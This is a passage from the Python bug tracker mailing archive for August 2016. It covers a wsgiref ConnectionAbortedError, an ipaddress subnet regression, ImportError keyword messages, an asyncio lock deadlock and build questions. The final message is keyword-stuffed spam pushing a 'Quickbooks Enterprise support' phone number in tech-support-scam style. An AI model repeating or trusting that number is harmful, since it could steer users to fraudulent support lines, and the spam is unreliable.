line 274, in write self.send_headers() File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 332, in send_headers self.send_preamble() File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 255, in send_preamble ('Date: %s\r\n' % format_date_time(time.time())).encode('iso-8859-1') File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 453, in _write result = self.stdout.write(data) File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\socket.py", line 593, in write return self._sock.send(b) ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine [04/Aug/2016 17:25:59] "GET /api/importeop/ HTTP/1.1" 500 59 ---------------------------------------- Exception happened during processing of request from ('127.0.0.1', 51082) Traceback (most recent call last): File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 138, in run self.finish_response() File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 180, in finish_response self.write(data) File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 274, in write self.send_headers() File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 332, in send_headers self.send_preamble() File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 255, in send_preamble ('Date: %s\r\n' % format_date_time(time.time())).encode('iso-8859-1') File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 453, in _write result = self.stdout.write(data) File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\socket.py", line 593, in write return self._sock.send(b) ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 141, in run self.handle_error() File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\site-packages\django\core\servers\basehttp.py", line 92, in handle_error super(ServerHandler, self).handle_error() File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 368, in handle_error self.finish_response() File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 180, in finish_response self.write(data) File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 274, in write self.send_headers() File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 331, in send_headers if not self.origin_server or self.client_is_modern(): File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 344, in client_is_modern return self.environ['SERVER_PROTOCOL'].upper() != 'HTTP/0.9' TypeError: 'NoneType' object is not subscriptable During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\socketserver.py", line 625, in process_request_thread self.finish_request(request, client_address) File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\socketserver.py", line 354, in finish_request self.RequestHandlerClass(request, client_address, self) File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\site-packages\django\core\servers\basehttp.py", line 99, in __init__ super(WSGIRequestHandler, self).__init__(*args, **kwargs) File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\socketserver.py", line 681, in __init__ self.handle() File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\site-packages\django\core\servers\basehttp.py", line 179, in handle handler.run(self.server.get_app()) File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\handlers.py", line 144, in run self.close() File "C:\Users\Sushant Gahlot\AppData\Local\Programs\Python\Python35-32\lib\wsgiref\simple_server.py", line 36, in close self.status.split(' ',1)[0], self.bytes_sent AttributeError: 'NoneType' object has no attribute 'split' ---------------------------------------- ---------- components: Library (Lib) messages: 271969 nosy: SG priority: normal severity: normal status: open title: Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 08:44:11 2016 From: report at bugs.python.org (Sushant) Date: Thu, 04 Aug 2016 12:44:11 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470314651.52.0.54069233865.issue27682@psf.upfronthosting.co.za> Changes by Sushant : ---------- nosy: +asvetlov, kristjan.jonsson, pje, steve.dower, tim.golden -SG _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 09:02:21 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 04 Aug 2016 13:02:21 +0000 Subject: [issue27678] itertools.permutations/.combinations should have len In-Reply-To: <1470295507.75.0.86244083352.issue27678@psf.upfronthosting.co.za> Message-ID: <1470315741.39.0.401054412921.issue27678@psf.upfronthosting.co.za> R. David Murray added the comment: It may be time to create a faq entry about len and itertools; it seems to be a very popular idea. For various reasons (documented in several issues in this tracker now), we are not going to add len to the iterators in itertools. See issue 24849, and in particular msg248496. ---------- nosy: +r.david.murray resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 09:05:06 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 04 Aug 2016 13:05:06 +0000 Subject: [issue27680] Reduce Github pull request rate In-Reply-To: <1470300675.44.0.889172442592.issue27680@psf.upfronthosting.co.za> Message-ID: <1470315906.79.0.70251926629.issue27680@psf.upfronthosting.co.za> R. David Murray added the comment: Just FYI Steve, the pull request template is relatively recent addition (within the last two months). ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 09:07:37 2016 From: report at bugs.python.org (tklausmann) Date: Thu, 04 Aug 2016 13:07:37 +0000 Subject: [issue27683] ipaddress subnet slicing iterator malfunction Message-ID: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za> New submission from tklausmann: Between Python 3.4 (3.4.5 I've tested with) and Python 3.5 (3.5.2), the behavior of ipaddress's subnet() method changed. This code: $ cat iat.py import ipaddress p = ipaddress.IPv4Network("172.0.0.4/30") subnets = p.subnets(new_prefix=31) n = next(subnets) print(list(n.hosts())) has two different outcomes on 3.4 vs. 3.5: $ python3.4 iat.py [IPv4Address('172.0.0.4'), IPv4Address('172.0.0.5')] $ python3.5 iat.py [] AIUI, the 3.4 behavior is the correct one (or the docs need to be fixed). ---------- components: Library (Lib) messages: 271972 nosy: tklausmann priority: normal severity: normal status: open title: ipaddress subnet slicing iterator malfunction type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 09:08:05 2016 From: report at bugs.python.org (tklausmann) Date: Thu, 04 Aug 2016 13:08:05 +0000 Subject: [issue27683] ipaddress subnet slicing iterator malfunction In-Reply-To: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za> Message-ID: <1470316085.56.0.920599864178.issue27683@psf.upfronthosting.co.za> Changes by tklausmann : ---------- nosy: +kormat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 09:18:53 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 04 Aug 2016 13:18:53 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470316733.07.0.509871391395.issue27682@psf.upfronthosting.co.za> R. David Murray added the comment: The traceback looks like wsgiref.close() was called before handle_error() was called (perhaps for a second time?) We'll probably need a reproducer (as simple as possible please) to debug this further, which might be difficult since it may be tricky to simulate the windows error. But you might also want to, say, post to python-list and see if anyone can spot a problem with your code. Could it be that it is calling wsgiref.close at the wrong time? ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 09:21:34 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 04 Aug 2016 13:21:34 +0000 Subject: [issue27683] ipaddress subnet slicing iterator malfunction In-Reply-To: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za> Message-ID: <1470316894.61.0.156253990801.issue27683@psf.upfronthosting.co.za> R. David Murray added the comment: If someone wants to bisect to find out which changeset introduced the behavior change that would be helpful. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 09:40:26 2016 From: report at bugs.python.org (Sushant) Date: Thu, 04 Aug 2016 13:40:26 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470318026.53.0.481146391497.issue27682@psf.upfronthosting.co.za> Sushant added the comment: The code is actually quite simple, I'll post it over here- def import_eop(request): with open('C:/Users/sg/Desktop/projects/drfapi/venv/drf/prices_companies_indices_transpose.csv') as f: contents = f.readlines() dates = contents[0] dates = dates.split(",") dates = dates[1:] d = [] for i in range(len(dates)): d.append(Dates(date=dates[i])) Dates.objects.bulk_create(d) companies = [] entry = [] for i in range(1, len(contents)): csline = contents[i].split(",") prices = csline[1:len(csline)] company = csline[0] prices =[float(x) for x in prices] entry = (Endday(company=company, eop=prices)) entry.save() f.close() print('Saved to database') return HttpResponse('Ok') Now as you see, I'm not even handling wsgiref.close() at all. This isn't a django issue since django community themselves pointed me to this direction. Let me know if I can be of any help. ---------- nosy: +SG _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 09:43:29 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 04 Aug 2016 13:43:29 +0000 Subject: [issue27683] ipaddress subnet slicing iterator malfunction In-Reply-To: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za> Message-ID: <1470318209.9.0.388349443803.issue27683@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The change was introduced in issue21487. ---------- nosy: +ncoghlan, pitrou, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 10:05:44 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 04 Aug 2016 14:05:44 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470319544.93.0.759184184069.issue27682@psf.upfronthosting.co.za> R. David Murray added the comment: If the save is happening twice, that must mean that that method is getting called twice, and I'm guessing that the second time it is called wsgiref is closed and thus you get the error. But that's just a guess, your code snippet by itself isn't enough to see how everything fits together. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 10:21:21 2016 From: report at bugs.python.org (Steve Holden) Date: Thu, 04 Aug 2016 14:21:21 +0000 Subject: [issue27680] Reduce Github pull request rate In-Reply-To: <1470300675.44.0.889172442592.issue27680@psf.upfronthosting.co.za> Message-ID: <1470320481.19.0.488309520756.issue27680@psf.upfronthosting.co.za> Steve Holden added the comment: Hmm. Tried making a PR to a forked copy and didn't see it. Probably just incompetence on my part. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 10:22:48 2016 From: report at bugs.python.org (tklausmann) Date: Thu, 04 Aug 2016 14:22:48 +0000 Subject: [issue27683] ipaddress subnet slicing iterator malfunction In-Reply-To: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za> Message-ID: <1470320568.56.0.759164501258.issue27683@psf.upfronthosting.co.za> tklausmann added the comment: I just bisected it and the specific commit is this one: https://hg.python.org/cpython/rev/2711677cf874 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 10:33:43 2016 From: report at bugs.python.org (Berker Peksag) Date: Thu, 04 Aug 2016 14:33:43 +0000 Subject: [issue27680] Reduce Github pull request rate In-Reply-To: <1470300675.44.0.889172442592.issue27680@psf.upfronthosting.co.za> Message-ID: <1470321223.51.0.160679035018.issue27680@psf.upfronthosting.co.za> Berker Peksag added the comment: Sorry, I forgot to share a screenshot in my earlier message: https://dl.dropboxusercontent.com/u/166024/pr-template.png ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 10:47:46 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 04 Aug 2016 14:47:46 +0000 Subject: [issue27683] ipaddress subnet slicing iterator malfunction In-Reply-To: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za> Message-ID: <1470322066.15.0.283697637967.issue27683@psf.upfronthosting.co.za> R. David Murray added the comment: Since this is a regression, I'm going to claim this has higher than normal priority, for whatever good that will do :) ---------- keywords: +3.5regression priority: normal -> high versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 10:51:02 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 04 Aug 2016 14:51:02 +0000 Subject: [issue27683] ipaddress subnet slicing iterator malfunction In-Reply-To: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za> Message-ID: <1470322262.86.0.225822152873.issue27683@psf.upfronthosting.co.za> Emanuel Barry added the comment: Here's a patch that fixes this bug, test included. I made this against the 3.5 branch, but should apply cleanly on default. ---------- keywords: +patch nosy: +ebarry Added file: http://bugs.python.org/file44008/ipaddress_iter_fix.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 10:51:23 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 04 Aug 2016 14:51:23 +0000 Subject: [issue27683] ipaddress subnet slicing iterator malfunction In-Reply-To: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za> Message-ID: <1470322283.5.0.0101074425165.issue27683@psf.upfronthosting.co.za> Changes by Emanuel Barry : ---------- stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 10:53:19 2016 From: report at bugs.python.org (Stephen Shirley) Date: Thu, 04 Aug 2016 14:53:19 +0000 Subject: [issue27683] ipaddress subnet slicing iterator malfunction In-Reply-To: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za> Message-ID: <1470322399.21.0.510498608419.issue27683@psf.upfronthosting.co.za> Stephen Shirley added the comment: The bug appears to be in the new form of the constructor. Here's a more minimal reproduction: In python3.5: >>> list(ipaddress.IPv4Network(("127.0.0.4", 31)).hosts()) [] In python3.4 >>> list(ipaddress.IPv4Network("127.0.0.4/31").hosts()) [IPv4Address('127.0.0.4'), IPv4Address('127.0.0.5')] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 10:59:17 2016 From: report at bugs.python.org (Sushant) Date: Thu, 04 Aug 2016 14:59:17 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470322757.89.0.889069640575.issue27682@psf.upfronthosting.co.za> Sushant added the comment: There have been a few times when this code ran perfectly fine, without any errors whatsoever. So the structure is like this- This code reads a csv, processes it and save it in a model- class Endday(models.Model): company = models.TextField(null=True) eop = models.TextField(max_length=100000) Now the database is postgresql, as soon as save is called, data is posted there. This code runs fine on my colleague's computer(same code) but he has windows 7. Thinking this might be a windows error, I re-installed windows 10 from the scratch. But to no help. At last, I had to knock python's door. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 11:01:30 2016 From: report at bugs.python.org (Sushant) Date: Thu, 04 Aug 2016 15:01:30 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470322890.64.0.367662878656.issue27682@psf.upfronthosting.co.za> Sushant added the comment: Also, since I re-installed everything, I got python 3.5 too ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 11:06:30 2016 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 04 Aug 2016 15:06:30 +0000 Subject: [issue27585] asyncio.Lock deadlock after cancellation In-Reply-To: Message-ID: Guido van Rossum added the comment: Does this repro with the latest Python 3.5.2? IIRC the lock code was overhauled after 3.5.0 or 3.5.1. (PS. These are tasks, not threads.) --Guido (mobile) On Aug 4, 2016 2:33 AM, "sss" wrote: sss added the comment: Yes, await asyncio.sleep(0) does fix it, but it would be weird if I'm supposed to put those all over my code. I made a new reproducer now that uses 2 threads in case it's not allowed to take the same lock twice from the same thread. ---------- Added file: http://bugs.python.org/file44007/lock2.py _______________________________________ Python tracker _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 11:09:29 2016 From: report at bugs.python.org (sss) Date: Thu, 04 Aug 2016 15:09:29 +0000 Subject: [issue27585] asyncio.Lock deadlock after cancellation In-Reply-To: <1469120801.4.0.62510822161.issue27585@psf.upfronthosting.co.za> Message-ID: <1470323369.78.0.872016292704.issue27585@psf.upfronthosting.co.za> sss added the comment: Yes I'm running python-3.5.2. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 12:00:19 2016 From: report at bugs.python.org (Steve Dower) Date: Thu, 04 Aug 2016 16:00:19 +0000 Subject: [issue27566] Tools/freeze/winmakemakefile.py clean target should use 'del' instead of 'rm' In-Reply-To: <1468871439.96.0.540268707664.issue27566@psf.upfronthosting.co.za> Message-ID: <1470326419.58.0.0411464025652.issue27566@psf.upfronthosting.co.za> Steve Dower added the comment: I suspect it will also need the /Q option, at least on the one with the wildcard, otherwise there will be a prompt. Though I'm not entirely clear on where this is run (nmake?) so maybe it's already suppressed. The fact that I'm not familiar with this makefile suggests it isn't needed for normal Windows builds though, and if this is only meant for Cygwin/MinGW builds then I think assuming rf availability is fine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 12:09:35 2016 From: report at bugs.python.org (Berker Peksag) Date: Thu, 04 Aug 2016 16:09:35 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470326975.71.0.694437498042.issue27682@psf.upfronthosting.co.za> Berker Peksag added the comment: Which browser do you use? How big is the CSV file? Modern browsers tend to do aggressive prefetching so this might be the cause here. ---------- nosy: +berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 12:13:33 2016 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 04 Aug 2016 16:13:33 +0000 Subject: [issue27585] asyncio.Lock deadlock after cancellation In-Reply-To: <1469120801.4.0.62510822161.issue27585@psf.upfronthosting.co.za> Message-ID: <1470327213.75.0.777956564222.issue27585@psf.upfronthosting.co.za> Guido van Rossum added the comment: Tentative fix is in https://github.com/python/asyncio/pull/393 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 12:37:30 2016 From: report at bugs.python.org (Xiang Zhang) Date: Thu, 04 Aug 2016 16:37:30 +0000 Subject: [issue27684] Incorrect exception message of ImportError constructor Message-ID: <1470328650.69.0.0456485191226.issue27684@psf.upfronthosting.co.za> New submission from Xiang Zhang: ImportError accepts name and path as keyword-only parameters, but when invalid keyword argument passed, it emits wrong exception message saying that ImportError does not take keyword arguments. >>> ImportError(name='name', path='path') ImportError() >>> ImportError(foo=1) Traceback (most recent call last): File "", line 1, in TypeError: ImportError does not take keyword arguments Propose a patch to fix this. Hope it helps. ---------- components: Interpreter Core files: ImportError_constructor_exception.patch keywords: patch messages: 271991 nosy: brett.cannon, xiang.zhang priority: normal severity: normal status: open title: Incorrect exception message of ImportError constructor versions: Python 3.6 Added file: http://bugs.python.org/file44009/ImportError_constructor_exception.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 12:53:01 2016 From: report at bugs.python.org (Zachary Ware) Date: Thu, 04 Aug 2016 16:53:01 +0000 Subject: [issue27566] Tools/freeze/winmakemakefile.py clean target should use 'del' instead of 'rm' In-Reply-To: <1468871439.96.0.540268707664.issue27566@psf.upfronthosting.co.za> Message-ID: <1470329581.5.0.0785559436738.issue27566@psf.upfronthosting.co.za> Zachary Ware added the comment: It is run by nmake. This isn't Cygwin-related, it's for 'freezing' a program a la py2exe or cx_Freeze; see Tools/freeze/README. I have yet to try it without py2exe or cx_Freeze, but it's theoretically possible :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 13:26:40 2016 From: report at bugs.python.org (Berker Peksag) Date: Thu, 04 Aug 2016 17:26:40 +0000 Subject: [issue27684] Incorrect exception message of ImportError constructor In-Reply-To: <1470328650.69.0.0456485191226.issue27684@psf.upfronthosting.co.za> Message-ID: <1470331600.47.0.71175158708.issue27684@psf.upfronthosting.co.za> Berker Peksag added the comment: This is a duplicate of issue 21578. ---------- nosy: +berker.peksag resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Misleading error message when ImportError called with invalid keyword args type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 13:36:18 2016 From: report at bugs.python.org (=?utf-8?q?Lawrence_Vel=C3=A1zquez?=) Date: Thu, 04 Aug 2016 17:36:18 +0000 Subject: [issue24844] Python 3.5rc1 compilation error with Apple clang 4.2 included with Xcode 4 In-Reply-To: <1439312804.21.0.961990235071.issue24844@psf.upfronthosting.co.za> Message-ID: <1470332178.23.0.313724740105.issue24844@psf.upfronthosting.co.za> Changes by Lawrence Vel?zquez : ---------- nosy: +larryv _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 13:49:13 2016 From: report at bugs.python.org (Sushant) Date: Thu, 04 Aug 2016 17:49:13 +0000 Subject: [issue27682] Windows Error 10053, ConnectionAbortedError: [WinError 10053] An established connection was aborted by the software in your host machine In-Reply-To: <1470313993.65.0.630797703267.issue27682@psf.upfronthosting.co.za> Message-ID: <1470332953.94.0.544202033208.issue27682@psf.upfronthosting.co.za> Sushant added the comment: The CSV is around 75 MB, not that big I guess. And I've tried Chrome, Edge and Firefox ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 14:11:12 2016 From: report at bugs.python.org (Brett Cannon) Date: Thu, 04 Aug 2016 18:11:12 +0000 Subject: [issue21578] Misleading error message when ImportError called with invalid keyword args In-Reply-To: <1401078695.26.0.813929580296.issue21578@psf.upfronthosting.co.za> Message-ID: <1470334272.09.0.31541307438.issue21578@psf.upfronthosting.co.za> Brett Cannon added the comment: Assigning to Berker to apply his own patch since Eric has not gotten around to this. ---------- assignee: eric.snow -> berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 14:40:52 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 04 Aug 2016 18:40:52 +0000 Subject: [issue21578] Misleading error message when ImportError called with invalid keyword args In-Reply-To: <1401078695.26.0.813929580296.issue21578@psf.upfronthosting.co.za> Message-ID: <1470336052.56.0.763939349837.issue21578@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 14:53:18 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 04 Aug 2016 18:53:18 +0000 Subject: [issue21578] Misleading error message when ImportError called with invalid keyword args In-Reply-To: <1401078695.26.0.813929580296.issue21578@psf.upfronthosting.co.za> Message-ID: <1470336798.45.0.844091563847.issue21578@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Why not use PyArg_ParseTupleAndKeywords()? ---------- Added file: http://bugs.python.org/file44010/import_error_parse_args.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 16:03:00 2016 From: report at bugs.python.org (umank.behera) Date: Thu, 04 Aug 2016 20:03:00 +0000 Subject: [issue27685] altinstall with --enable-shared showing incorrect behaviour Message-ID: <1470340980.02.0.968762212838.issue27685@psf.upfronthosting.co.za> New submission from umank.behera: When I altinstall python 2.7.12 with ./configure --prefix=/opt/python --enable-shared it comes up as python 2.7.5 (system default python) But altinstall with ./configure --prefix=/opt/python it comes up as 2.7.12, what am I missing? This is on RHEL 7.2 This is not a pathing issue: Without --enable-shared: [root at myrig ~]# /opt/python/bin/python2.7 -V Python 2.7.12 With --enable-shared: [root at myrig ~]# /opt/python/bin/python2.7 -V Python 2.7.5 ---------- components: Build, Installation messages: 271997 nosy: ubehera priority: normal severity: normal status: open title: altinstall with --enable-shared showing incorrect behaviour type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 16:19:57 2016 From: report at bugs.python.org (Ned Deily) Date: Thu, 04 Aug 2016 20:19:57 +0000 Subject: [issue27685] altinstall with --enable-shared showing incorrect behaviour In-Reply-To: <1470340980.02.0.968762212838.issue27685@psf.upfronthosting.co.za> Message-ID: <1470341997.1.0.222285274447.issue27685@psf.upfronthosting.co.za> Ned Deily added the comment: No doubt you are running into same problem that is described here: http://stackoverflow.com/questions/12553057/compile-python-2-7-3-from-source-on-a-system-with-python-2-7-already The problem is, that on most Unix systems (with the notable exception of Mac OS X), the path to shared libraries is not an absolute path. So, if you install Python in a non-standard location, which is the right thing to do so as not to interfere with a system Python of the same version, you will need to configure in the path to the shared library or supply it via an environment variable at run time, like LD_LIBRARY_PATH. You may be better off avoiding --enable-shared; it's easy to run into problems like this with it. ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 16:28:31 2016 From: report at bugs.python.org (sss) Date: Thu, 04 Aug 2016 20:28:31 +0000 Subject: [issue27585] asyncio.Lock deadlock after cancellation In-Reply-To: <1469120801.4.0.62510822161.issue27585@psf.upfronthosting.co.za> Message-ID: <1470342511.29.0.0946660956256.issue27585@psf.upfronthosting.co.za> sss added the comment: Thank you. This looks good to me ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 16:28:50 2016 From: report at bugs.python.org (Bharti Rana) Date: Thu, 04 Aug 2016 20:28:50 +0000 Subject: =?utf-8?b?W2lzc3VlMjc2ODZdIEFBQUFBIDEgODAwIDkxOSAwOTkyIOKFgOKFgOKruA==?= =?utf-8?q?=E2=85=80=E2=85=80_Quickbooks_Enterprise_support_phone_number?= =?utf-8?q?=2C_Quickbooks_Enterprise_support_phone_number?= Message-ID: <1470342530.77.0.178202145751.issue27686@psf.upfronthosting.co.za> New submission from Bharti Rana: AAAAA 1 800 919 0992 ????? Quickbooks Enterprise support phone number, Quickbooks Enterprise support phone number Quickbooks Enterprise phone number USA QPML +?$? 1800 -919-0992 Quickbooks Enterprise tech support phone number, Quickbooks Enterprise tech support contact number, Quickbooks Enterprise technical support contact number, Quickbooks Enterprise contact number, Quickbooks Enterprise contact phone number, Quickbooks Enterprise contact telephone number, Quickbooks Enterprise 24 hour contact number, Quickbooks Enterprise contact number, Quickbooks Enterprise customer service contact number, Quickbooks Enterprise official number, Quickbooks Enterprise official contact number, Quickbooks Enterprise 800 contact number, Quickbooks Enterprise toll free number, 800 number for Quickbooks Enterprise support, Quickbooks Enterprise 24/7 support phone number Quickbooks Enterprise support phone number,Quickbooks Enterprise support phone number,Quickbooks Enterprise help phone number, Quickbooks Enterprise technical support number.Quickbooks Enterprise support number, Quickbooks Enterprise phone number, Quickbooks Enterprise HELP DESK number, Quickbooks Enterprise number, Quickbooks Enterprise phone number, Quickbooks Enterprise customer service phone number, Quickbooks Enterprise customer service phone number, Quickbooks Enterprise support phone number. Help?Call 1-800 -919-0992/.Quickbooks Enterprise 24/7 support phone number,Quickbooks Enterprise telephone number for support? call 1800 -919-0992?./Quickbooks Enterprise contact number, Quickbooks Enterprise contact phone number, Quickbooks Enterprise contact telephone number,,telephone number for Quickbooks Enterprise online support,Quickbooks Enterprise official support number,Quickbooks Enterprise official number,Quickbooks Enterprise official phone number,,,phone number for Quickbooks Enterprise support,,Quickbooks Enterprise 24/7 support phone number,,Quickbooks Enterprise support number,Quickbooks Enterprise telephone number for support QB SUPPORT ON ((1-800 -919-0992)) Quickbooks Enterprise PHONE NUMBER AND Quickbooks Enterprise SUPPORT PHONE NUMBER Online Support For (((1+800 +919+0992)!!! Quickbooks Enterprise ((Technical)) Support phone number,, Quickbooks Enterprise HELP DESK phone number Online Support For (((1+800 +919+0992)!!! Quickbooks Enterprise ((Technical)) Support phone number,, Quickbooks Enterprise HELP DESK phone number Helpline TECH ))1-800 -919-0992((Quickbooks Enterprise technical support phone number Quickbooks Enterprise phone number QB SUPPORT ON ((1-800 -919-0992)) Quickbooks Enterprise PHONE NUMBER AND Quickbooks Enterprise SUPPORT PHONE NUMBER Quickbooks Enterprise Toll Free, Intuit?(1-800 -919-0992)? Quickbooks Enterprise HELP DESK Phone Number vides online solution for all USA/CANADA clients. For any help of query call 1 800 919 0992 to get all Quickbooks Enterprise account solution. ??Call, 1-800 -919-0992 for all type help by Quickbooks Enterprise HELP DESK phone number, Intuit Quickbooks Enterprise HELP DESK Phone Number, Quickbooks Enterprise Help Desk Phone Number, Quickbooks Enterprise HELP DESK number, Quickbooks 